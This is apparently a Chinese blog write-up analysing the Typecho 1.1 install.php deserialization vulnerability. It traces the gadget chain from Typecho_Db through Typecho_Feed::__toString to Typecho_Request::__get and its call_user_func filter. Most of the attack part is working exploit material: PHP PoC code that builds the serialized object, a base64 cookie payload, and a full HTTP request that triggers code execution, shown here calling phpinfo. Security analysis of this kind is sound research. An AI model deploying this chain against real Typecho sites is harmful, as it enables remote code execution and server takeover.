typecho1.1反序列化漏洞分析
反序列化触发点
- 在install.php 中存在用户可控的反序列化
1
2
3
4
5$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db); - 前面有几个判断需要绕过才能到达反序列化的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
- 第一个if传入?finish=123 即可
- 第二个if加入referer即可
Referer: http://127.0.0.1
反序列化利用链
1 | $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); |
- 最直接的想法是直接利用destruct或者wakeup,但是typecho并没有可以利用这两个魔术方法的地方
- 第二种想法就是利用unserialize的返回值,也就是$config
这里$config['adapter']
和$config['prefix']
被传入了Typecho_Db类
的构造函数__construct中
1 | public function __construct($adapterName, $prefix = 'typecho_') |
$adapterName
和$prefix
都是用户可控的$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
如果$adapterName 是一个对象的话,会触发__toString
全局搜索可以找到3个__toString
:
Typecho_Db_Query类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}这里拼接了sql语句但是没有执行,用处不大
Typecho_Config类
1
2
3
4public function __toString()
{
return serialize($this->_currentConfig);
}serialize 会触发
__sleep
,不过typecho 中没有存在__sleep
的类Typecho_Feed类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) {
$result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
$content = '';
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
$content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;
$links[] = $item['link'];
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;
foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
}
$result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
$result .= $content . '</rdf:RDF>';
} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
......
- 一个很长的方法,其中
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
如果$item['author']
是一个类并且不存在screenName属性的话,会触发其__get
方法
__get
方法还挺多的,能够利用的是Typecho_Request类
1 | public function __get($key) |
可以看到$key
会被传给get
方法,get
方法给$value
赋值后将其传给_applyFilter
方法
1 | private function _applyFilter($value) |
- 这里的
array_map
和call_user_func
都可以利用,只需要将$filter
设为想要执行的函数,$value
设为函数的参数即可
构造poc
- 一开始写的poc结果返回了http 500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Typecho_Request
{
private $_params = array();
private $_filter = array();
function __construct()
{
$this->_params['screenName'] = '123';
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
private $_items = array();
private $_type;
function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[0]['author'] = new Typecho_Request();
}
}
$config['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($config));
这是因为install.php在一开始调用了ob_start()开启了缓冲区,反序列化pop链执行后phpinfo()
的内容没有立刻输出,而是先存在缓冲区里。
之后在Typecho_Db
类的__construct
中会抛出错误
1 | if (!call_user_func(array($adapterName, 'isAvailable'))) { |
之后会调用/var/Typecho/Common.php的exceptionHandle
1 | public static function exceptionHandle(Exception $exception) |
这里会调用ob_end_clean
清除缓冲区然后返回500
因此想要有回显的话可以在pop链最后造成一个错误使程序终止
比如在Typecho_Feed类的__construct
方法中加入一个$this->_items[0]['category'] = Array(new Typecho_Request());
最终的poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Typecho_Request
{
private $_params = array();
private $_filter = array();
function __construct()
{
$this->_params['screenName'] = '123';
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
private $_items = array();
private $_type;
function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['category'] = Array(new Typecho_Request());
}
}
$config['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($config));1
2
3
4
5
6
7
8
9
10
11
12GET /typecho1.1/install.php?finish=123 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1
Cookie: __typecho_config=YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzoiMTIzIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czozOiIxMjMiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO319